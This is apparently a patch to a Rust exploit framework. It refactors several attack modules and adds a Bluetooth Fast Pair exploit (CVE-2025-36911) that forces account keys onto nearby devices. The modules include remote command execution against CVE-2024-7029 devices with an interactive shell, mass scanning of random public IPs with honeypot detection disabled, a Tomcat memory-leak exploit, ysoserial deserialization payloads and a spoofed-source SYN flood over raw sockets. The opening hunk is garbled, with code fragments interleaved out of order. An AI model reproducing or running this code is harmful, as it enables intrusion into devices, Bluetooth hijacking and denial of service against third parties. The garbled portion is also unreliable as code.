let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
.expect("Failed to open output file");
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd_input)
.await
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
if let Ok(true) = check(&ip, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
return run_mass_scan().await;
}
display_banner();
// Check for CIDR or Range
let is_mass_scan = target.contains('/') || target.contains('-');
// Prompt for port globally
let port = prompt_port("Target Port", DEFAULT_PORT)?;
if is_mass_scan {
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
let ips: Vec<IpAddr> = if target.contains('/') {
// CIDR
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
net.iter().collect()
} else {
// Range (basic impl for dash)
// For now, let's assume specific basic range or just use utils if available.
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
// or simple parsing if the user provided a list.
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
// However, user asked for "mass scan", likely CIDR.
// Re-use logic from other modules?
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
let concurrency = 50;
let semaphore = Arc::new(Semaphore::new(concurrency));
let vulnerable_count = Arc::new(AtomicUsize::new(0));
let mut tasks = Vec::new();
for ip in ips {
let sem = semaphore.clone();
let vc = vulnerable_count.clone();
let ip_str = ip.to_string();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
if let Ok(true) = check(&ip_str, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
vc.fetch_add(1, Ordering::Relaxed);
}
drop(_permit);
}));
}
for t in tasks {
let _ = t.await;
}
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
// Single Target Mode (Original Logic)
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
std::io::stdin()
.read_line(&mut cmd_input)
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
}
Ok(())
@@ -6,7 +6,7 @@ use std::net::{TcpStream, ToSocketAddrs};
use std::time::Duration;
use tokio::time::sleep;
use rand::prelude::IndexedRandom;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use std::io::Write;
/// TomcatKiller - CVE-2025-31650
/// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.");
println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow());
let port = prompt_for_port().await.unwrap_or(443);
let port = prompt_for_port().unwrap_or(443);
let normalized = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
@@ -67,17 +67,15 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn prompt_for_port() -> Option<u16> {
fn prompt_for_port() -> Option<u16> {
print!("{}", "Enter target port (default 443): ".cyan());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.ok()?;
let mut buffer = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut buffer)
.await
.ok()?;
let trimmed = buffer.trim();
@@ -1,12 +1,12 @@
use anyhow::{bail, Context, Result};
use crate::utils::validate_command_input;
use anyhow::{bail, Result};
use crate::utils::{validate_command_input, normalize_target, prompt_default, prompt_port};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const BANNER: &str = r#"
@@ -17,35 +17,7 @@ const BANNER: &str = r#"
"#;
/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
let fixed = raw.replace("[[", "[").replace("]]", "]");
if fixed.starts_with("http://") || fixed.starts_with("https://") {
fixed
} else {
format!("http://{}", fixed)
}
}
/// Prompt helper with proper error handling
async fn prompt(message: &str, default: Option<&str>) -> Result<String> {
print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut buf = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut buf)
.await
.context("Failed to read user input")?;
let input = buf.trim();
if input.is_empty() {
Ok(default.unwrap_or("").to_string())
} else {
Ok(input.to_string())
}
}
/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
@@ -256,11 +228,13 @@ async fn execute_exploit(
pub async fn run(target: &str) -> Result<()> {
println!("{BANNER}");
let mut target = sanitize_target(target);
let scheme = if target.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(target)?;
let mut target = format!("{}://{}", scheme, normalized);
println!("[+] Target sanitized: {}", target);
let mut command = String::from("calc.exe");
let mut port = prompt("Enter port (default 8080)", Some("8080")).await?;
let mut port = prompt_port("Enter port", 8080)?.to_string();
println!("[+] Default port set to {}", port);
let mut ysoserial_path = String::from("ysoserial.jar");
@@ -284,30 +258,34 @@ pub async fn run(target: &str) -> Result<()> {
"#
);
let selection = prompt("Select an option", None).await?;
let selection = prompt_default("Select an option", "")?;
match selection.as_str() {
"1" => {
target = prompt("Enter target URL", Some(&target)).await?;
let raw_input = prompt_default("Enter target URL", &target)?;
let scheme = if raw_input.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(&raw_input)?;
target = format!("{}://{}", scheme, normalized);
println!("[+] Target updated: {target}");
}
"2" => {
command = prompt("Enter command to execute", Some(&command)).await?;
command = prompt_default("Enter command to execute", &command)?;
println!("[+] Command set: {command}");
}
"3" => {
port = prompt("Enter port", Some(&port)).await?;
let p_u16 = prompt_port("Enter port", port.parse().unwrap_or(8080))?;
port = p_u16.to_string();
println!("[+] Port set: {port}");
}
"4" => {
ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path)).await?;
ysoserial_path = prompt_default("Path to ysoserial.jar", &ysoserial_path)?;
println!("[+] ysoserial path set: {ysoserial_path}");
}
"5" => {
gadget = prompt("Enter gadget", Some(&gadget)).await?;
gadget = prompt_default("Enter gadget", &gadget)?;
println!("[+] Gadget set: {gadget}");
}
"6" => {
payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type)).await?;
payload_type = prompt_default("Payload type (ysoserial/java)", &payload_type)?;
if payload_type != "ysoserial" && payload_type != "java" {
println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
payload_type = "ysoserial".into();
@@ -7,11 +7,12 @@ use std::path::Path;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use tokio::sync::Semaphore;
use crate::utils::escape_shell_command;
use std::io::{Write, BufRead};
use tokio::sync::Semaphore;
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
const DEFAULT_PORT: &str = "80";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
const MASS_SCAN_PORT: u16 = 80;
@@ -48,23 +49,7 @@ fn display_banner() {
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
@@ -81,17 +66,16 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
/// Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = tokio::io::BufReader::new(stdin).lines();
let stdin = std::io::stdin();
let mut lines = stdin.lock().lines();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
print!("{}", "cve7029-shell> ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
if let Some(cmd) = lines.next_line().await? {
if let Some(Ok(cmd)) = lines.next() {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
@@ -125,21 +109,7 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
Ok(response.text().await?)
}
/// Prompt user for a custom port number
async fn prompt_port() -> Result<String> {
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port)
.await
.context("Failed to read port")?;
let port = port.trim();
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
}
/// Quick vulnerability check for mass scanning
async fn quick_check(client: &Client, ip: &str) -> bool {
@@ -168,10 +138,19 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
@@ -196,7 +175,7 @@ async fn run_mass_scan() -> Result<()> {
});
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cl = client.clone();
let chk = checked.clone();
@@ -220,14 +199,14 @@ async fn run_mass_scan() -> Result<()> {
/// Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port().await?;
let port = prompt_port("Enter port to use", 80)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
@@ -250,7 +229,15 @@ pub async fn run(target: &str) -> Result<()> {
println!();
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
let scheme = if raw_ip.starts_with("https://") { "https" } else { "http" };
let normalized = normalize_target(raw_ip)?;
let url = if normalized.contains("]:") || (normalized.contains(':') && !normalized.starts_with('[')) {
format!("{}://{}", scheme, normalized)
} else {
format!("{}://{}:{}", scheme, normalized, port)
};
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
+1
View File
@@ -0,0 +1 @@
pub mod wpair;
+232
View File
@@ -0,0 +1,232 @@
use anyhow::{anyhow, Result};
use btleplug::api::{Central, Manager as _, Peripheral as _, ScanFilter, WriteType};
use btleplug::platform::{Adapter, Manager, Peripheral};
use colored::*;
use rand::Rng;
use std::time::Duration;
use tokio::time;
use uuid::Uuid;
use aes::Aes128;
use cipher::{BlockEncrypt, KeyInit};
use cipher::generic_array::GenericArray;
// Fast Pair Service and Characteristics
const SERVICE_UUID: Uuid = Uuid::from_u128(0x0000fe2c_0000_1000_8000_00805f9b34fb);
const MODEL_ID_UUID: Uuid = Uuid::from_u128(0xfe2c1233_8366_4814_8eb0_01de32100bea);
const KEY_BASED_PAIRING_UUID: Uuid = Uuid::from_u128(0xfe2c1234_8366_4814_8eb0_01de32100bea);
const PASSKEY_UUID: Uuid = Uuid::from_u128(0xfe2c1235_8366_4814_8eb0_01de32100bea);
const ACCOUNT_KEY_UUID: Uuid = Uuid::from_u128(0xfe2c1236_8366_4814_8eb0_01de32100bea);
// Message types
const MSG_KEY_BASED_PAIRING_REQUEST: u8 = 0x00;
#[derive(Clone, Copy, Debug)]
enum ExploitStrategy {
RawKbp,
RawWithSeeker,
Retroactive,
ExtendedResponse,
}
pub async fn run(_target: &str) -> Result<()> {
println!("{}", "=== Fast Pair (WPAir) Exploit ===".cyan().bold());
println!("{}", "Exploits CVE-2025-36911 (Fast Pair 'Magic')".yellow());
// Initialize manager
let manager = Manager::new().await?;
let adapters = manager.adapters().await?;
let adapter = adapters.into_iter().next().ok_or_else(|| anyhow!("No Bluetooth adapters found"))?;
// Scan
let target_peripheral = scan_for_target(&adapter, 5).await?;
// Connect
println!("Connecting to {}...", target_peripheral.address());
target_peripheral.connect().await?;
target_peripheral.discover_services().await?;
let strategies = [
ExploitStrategy::RawKbp,
ExploitStrategy::RawWithSeeker,
ExploitStrategy::Retroactive,
ExploitStrategy::ExtendedResponse
];
// Seeker address (our address) - hardcoded dummy
let seeker_address = vec![0x11, 0x22, 0x33, 0x44, 0x55, 0x66];
for strategy in strategies {
if execute_strategy(&target_peripheral, strategy, &seeker_address).await? {
break;
}
time::sleep(Duration::from_millis(500)).await;
}
let _ = target_peripheral.disconnect().await;
Ok(())
}
async fn scan_for_target(adapter: &Adapter, duration_secs: u64) -> Result<Peripheral> {
println!("{}", "Starting BLE scan for Fast Pair devices...".blue());
let filter = ScanFilter {
services: vec![SERVICE_UUID],
};
adapter.start_scan(filter).await?;
time::sleep(Duration::from_secs(duration_secs)).await;
let peripherals = adapter.peripherals().await?;
if peripherals.is_empty() {
return Err(anyhow!("No Fast Pair devices found"));
}
println!("{}", "\nFound devices:".green().bold());
let mut valid_peripherals = Vec::new();
for (idx, p) in peripherals.iter().enumerate() {
let properties = p.properties().await?;
if let Some(props) = properties {
let name = props.local_name.unwrap_or_else(|| "Unknown".to_string());
let address = p.address();
println!("{}: {} ({})", idx, name, address);
valid_peripherals.push(p.clone());
}
}
if valid_peripherals.is_empty() {
return Err(anyhow!("No reachable devices found after scan"));
}
// Defaulting to first device for automation in this port
println!("{}", "Selecting first device automatically...".yellow());
Ok(valid_peripherals[0].clone())
}
fn aes_encrypt(key: &[u8], data: &[u8]) -> Vec<u8> {
let key = GenericArray::from_slice(&key[0..16]);
let mut block = GenericArray::clone_from_slice(&data[0..16]);
let cipher = Aes128::new(key);
cipher.encrypt_block(&mut block);
block.to_vec()
}
fn build_kbp_request(strategy: ExploitStrategy, address_bytes: &[u8], seeker_address_bytes: &[u8]) -> (Vec<u8>, Vec<u8>) {
let mut request = vec![0u8; 16];
let mut shared_secret = vec![0u8; 16];
let mut rng = rand::rng();
match strategy {
ExploitStrategy::RawKbp => {
let salt: [u8; 8] = rng.random();
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
request[1] = 0x11;
request[2..8].copy_from_slice(&address_bytes[0..6]);
request[8..16].copy_from_slice(&salt);
shared_secret[0..8].copy_from_slice(&salt);
},
ExploitStrategy::RawWithSeeker => {
let salt: [u8; 2] = rng.random();
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
request[1] = 0x02;
request[2..8].copy_from_slice(&address_bytes[0..6]);
request[8..14].copy_from_slice(&seeker_address_bytes[0..6]);
request[14..16].copy_from_slice(&salt);
let random_secret: [u8; 16] = rng.random();
shared_secret.copy_from_slice(&random_secret);
},
ExploitStrategy::Retroactive => {
let salt: [u8; 2] = rng.random();
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
request[1] = 0x0A;
request[2..8].copy_from_slice(&address_bytes[0..6]);
request[8..14].copy_from_slice(&seeker_address_bytes[0..6]);
request[14..16].copy_from_slice(&salt);
let random_secret: [u8; 16] = rng.random();
shared_secret.copy_from_slice(&random_secret);
},
ExploitStrategy::ExtendedResponse => {
let salt: [u8; 8] = rng.random();
request[0] = MSG_KEY_BASED_PAIRING_REQUEST;
request[1] = 0x10;
request[2..8].copy_from_slice(&address_bytes[0..6]);
request[8..16].copy_from_slice(&salt);
shared_secret[0..8].copy_from_slice(&salt);
}
}
(request, shared_secret)
}
async fn execute_strategy(peripheral: &Peripheral, strategy: ExploitStrategy, seeker_address: &[u8]) -> Result<bool> {
let address = peripheral.address();
let address_str = address.to_string();
let address_bytes = mac_to_bytes(&address_str)?;
let (request, shared_secret) = build_kbp_request(strategy, &address_bytes, seeker_address);
println!("{}: {:?}", "Trying strategy".blue(), strategy);
let chars = peripheral.characteristics();
// Read Model ID to verify Fast Pair device
if let Some(model_char) = chars.iter().find(|c| c.uuid == MODEL_ID_UUID) {
println!("Found Model ID characteristic, reading...");
if let Ok(model_data) = peripheral.read(model_char).await {
println!("Model ID: {:02x?}", model_data);
}
}
let kbp_char = chars.iter().find(|c| c.uuid == KEY_BASED_PAIRING_UUID).ok_or(anyhow!("KBP Char not found"))?;
println!("Writing KBP request...");
if let Err(e) = peripheral.write(kbp_char, &request, WriteType::WithoutResponse).await {
println!("Write failed: {}", e);
return Ok(false);
}
time::sleep(Duration::from_millis(500)).await;
// Check for Passkey characteristic (used in some Fast Pair flows)
if let Some(passkey_char) = chars.iter().find(|c| c.uuid == PASSKEY_UUID) {
println!("Found Passkey characteristic, attempting passkey bypass...");
// Send encrypted passkey response (0x02 = passkey seeker response)
let mut passkey_block = vec![0u8; 16];
passkey_block[0] = 0x02; // Passkey seeker message type
let encrypted_passkey = aes_encrypt(&shared_secret, &passkey_block);
let _ = peripheral.write(passkey_char, &encrypted_passkey, WriteType::WithoutResponse).await;
}
println!("Attempting to write Account Key...");
let account_key_char = chars.iter().find(|c| c.uuid == ACCOUNT_KEY_UUID);
if let Some(ak_char) = account_key_char {
let mut account_key = vec![0u8; 16];
account_key[0] = 0x04;
let mut rng = rand::rng();
rng.fill(&mut account_key[1..]);
let encrypted_ak = aes_encrypt(&shared_secret, &account_key);
if let Ok(_) = peripheral.write(ak_char, &encrypted_ak, WriteType::WithResponse).await {
println!("{}", "Account Key Written Successfully! Device Exploited!".green().bold());
return Ok(true);
}
}
Ok(false)
}
fn mac_to_bytes(mac: &str) -> Result<Vec<u8>> {
let bytes: Vec<u8> = mac.split(':')
.map(|s| u8::from_str_radix(s, 16))
.collect::<Result<Vec<_>, _>>()?;
if bytes.len() != 6 {
return Err(anyhow!("Invalid MAC address length"));
}
Ok(bytes)
}
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
+120 -50
View File
@@ -31,6 +31,8 @@ struct ExhaustionConfig {
duration_secs: u64,
interval_mode: IntervalMode,
payload_size: usize,
socket_pool_size: usize,
verbose: bool,
}
#[derive(Clone, Debug)]
@@ -61,7 +63,7 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
// Target IP
let target_input = if initial_target.trim().is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
initial_target.to_string()
@@ -72,10 +74,10 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
.map_err(|_| anyhow!("Target must be a valid IPv4 address (IPv6 not supported for raw packets)"))?;
// Target Port
let target_port = prompt_port("Target port", 80).await?;
let target_port = prompt_port("Target port", 80)?;
// Source Port (optional)
let src_port_input = prompt_default("Source port (blank for random)", "").await?;
let src_port_input = prompt_default("Source port (blank for random)", "")?;
let source_port = if src_port_input.is_empty() {
None
} else {
@@ -84,10 +86,10 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
};
// Random Source IP
let use_random_source_ip = prompt_yes_no("Use random (spoofed) source IPs? (requires root)", false).await?;
let use_random_source_ip = prompt_yes_no("Use random (spoofed) source IPs? (requires root)", false)?;
// Concurrent Streams
let streams_input = prompt_default("Number of concurrent streams", "100").await?;
let streams_input = prompt_default("Number of concurrent streams", "100")?;
let concurrent_streams: usize = streams_input.parse()
.map_err(|_| anyhow!("Invalid number"))?;
@@ -96,7 +98,7 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
}
// Duration
let duration_input = prompt_required("Test duration (seconds)").await?;
let duration_input = prompt_required("Test duration (seconds)")?;
let duration_secs: u64 = duration_input.parse()
.map_err(|_| anyhow!("Invalid duration"))?;
@@ -105,20 +107,39 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
}
// Interval Mode
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true).await?;
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
let interval_mode = if zero_interval {
IntervalMode::Zero
} else {
let delay_input = prompt_default("Delay between packets (ms)", "10").await?;
let delay_input = prompt_default("Delay between packets (ms)", "10")?;
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
IntervalMode::Delay(delay)
};
// Payload Size
let payload_input = prompt_default("Null-byte payload size", "1024").await?;
let payload_size: usize = payload_input.parse()
let payload_input = prompt_default("Null-byte payload size", "1024")?;
let mut payload_size: usize = payload_input.parse()
.map_err(|_| anyhow!("Invalid payload size"))?;
// Cap payload size to prevent panic (65535 - 20 IP - 20 TCP = 65495)
if payload_size > 65495 {
println!("{}", "[!] Warning: Payload capped at 65495 bytes (IPv4 Max)".yellow());
payload_size = 65495;
}
let verbose = prompt_yes_no("Verbose output (print errors)?", false)?;
// Socket Pool Size
let pool_input = prompt_default("Socket pool size (sharding)", "8")?;
let mut socket_pool_size: usize = pool_input.parse()
.map_err(|_| anyhow!("Invalid pool size"))?;
if socket_pool_size == 0 {
socket_pool_size = 1;
}
// Summary
println!("\n{}", "=== Test Configuration ===".bold());
println!(" Target: {}:{}", target_ip, target_port);
@@ -128,8 +149,9 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
println!(" Duration: {}s", duration_secs);
println!(" Interval: {:?}", interval_mode);
println!(" Payload Size: {} bytes", payload_size);
println!(" Socket Pool: {} sockets", socket_pool_size);
if !prompt_yes_no("\nProceed with test?", true).await? {
if !prompt_yes_no("\nProceed with test?", true)? {
return Err(anyhow!("Test cancelled by user"));
}
@@ -142,6 +164,8 @@ async fn gather_config(initial_target: &str) -> Result<ExhaustionConfig> {
duration_secs,
interval_mode,
payload_size,
socket_pool_size,
verbose,
})
}
@@ -182,6 +206,27 @@ async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
// Spawn worker streams
let mut handles = Vec::new();
// Create a pool of shared raw sockets
// This allows utilizing multiple kernel queues/locks while avoiding one-per-stream overhead
let socket_pool_size = config.socket_pool_size;
let mut sockets = Vec::with_capacity(socket_pool_size);
for _ in 0..socket_pool_size {
let sock = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket")?;
sock.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
sockets.push(Arc::new(sock));
}
// Share the pool as Arc<Vec<Arc<Socket>>>? No, just clone from the Vec needed for each task.
// We can just keep the Vec of Arcs.
for stream_id in 0..config.concurrent_streams {
let config = config.clone();
let sem = semaphore.clone();
@@ -189,6 +234,9 @@ async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
let pkts = packets_sent.clone();
let bts = bytes_sent.clone();
// Round-robin distribution of sockets from the pool
let socket_shared = sockets[stream_id % socket_pool_size].clone();
let handle = tokio::spawn(async move {
// Acquire permit (blocks if too many concurrent)
let _permit = match sem.acquire().await {
@@ -196,10 +244,13 @@ async fn execute_exhaustion(config: &ExhaustionConfig) -> Result<()> {
Err(_) => return,
};
if let Err(e) = run_stream(stream_id, &config, stop, pkts, bts, start_time, duration).await {
// Silently continue on errors (permission denied, etc.)
if e.to_string().contains("Permission denied") || e.to_string().contains("EPERM") {
if let Err(e) = run_stream(stream_id, &config, stop, pkts, bts, start_time, duration, socket_shared).await {
// Check specifically for permissions
let err_str = e.to_string();
if err_str.contains("Permission denied") || err_str.contains("EPERM") || err_str.contains("Operation not permitted") {
eprintln!("\n{}", "[!] Root privileges required for raw sockets. Run with sudo.".red().bold());
} else if config.verbose {
eprintln!("\n[!] Stream {} error: {}", stream_id, e);
}
}
});
@@ -242,20 +293,18 @@ async fn run_stream(
bytes: Arc<AtomicU64>,
start: Instant,
duration: Duration,
socket: Arc<Socket>,
) -> Result<()> {
// Create raw socket
let socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket")?;
socket.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
// Prepare null-byte payload
let null_payload = vec![0u8; config.payload_size];
// Pre-allocate buffer for Zero-Copy/Reuse
// IP Header (20) + TCP Header (20) + Payload
const IPV4_HEADER_LEN: usize = 20;
const TCP_HEADER_LEN: usize = 20;
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
let mut packet_buffer = vec![0u8; total_len];
// Pre-fill null payload (it's always nulls, so just 0s which vec already is)
// We only need to write headers dynamicially.
while !stop.load(Ordering::Relaxed) && start.elapsed() < duration {
// Generate source IP
let src_ip = if config.use_random_source_ip {
@@ -270,13 +319,19 @@ async fn run_stream(
});
// Craft and send SYN packet with null payload
match send_syn_packet(&socket, src_ip, src_port, config.target_ip, config.target_port, &null_payload) {
// Craft and send SYN packet using pre-allocated buffer
match build_and_send_syn(&socket, src_ip, src_port, config.target_ip, config.target_port, &mut packet_buffer) {
Ok(sent) => {
packets.fetch_add(1, Ordering::Relaxed);
bytes.fetch_add(sent as u64, Ordering::Relaxed);
}
Err(_) => {
// Continue on errors
Err(e) => {
if config.verbose {
// Reduce noise, only print occasional errors or if significant
if rand::rng().random_bool(0.01) {
eprintln!("\n[!] Send error: {}", e);
}
}
}
}
@@ -295,21 +350,31 @@ async fn run_stream(
Ok(())
}
fn send_syn_packet(
fn build_and_send_syn(
socket: &Socket,
src_ip: Ipv4Addr,
src_port: u16,
dst_ip: Ipv4Addr,
dst_port: u16,
payload: &[u8],
buffer: &mut [u8],
) -> Result<usize> {
// TCP header + payload
let tcp_header_len = 20;
let tcp_total_len = tcp_header_len + payload.len();
let mut tcp_buf = vec![0u8; tcp_total_len];
const IPV4_HEADER_LEN: usize = 20;
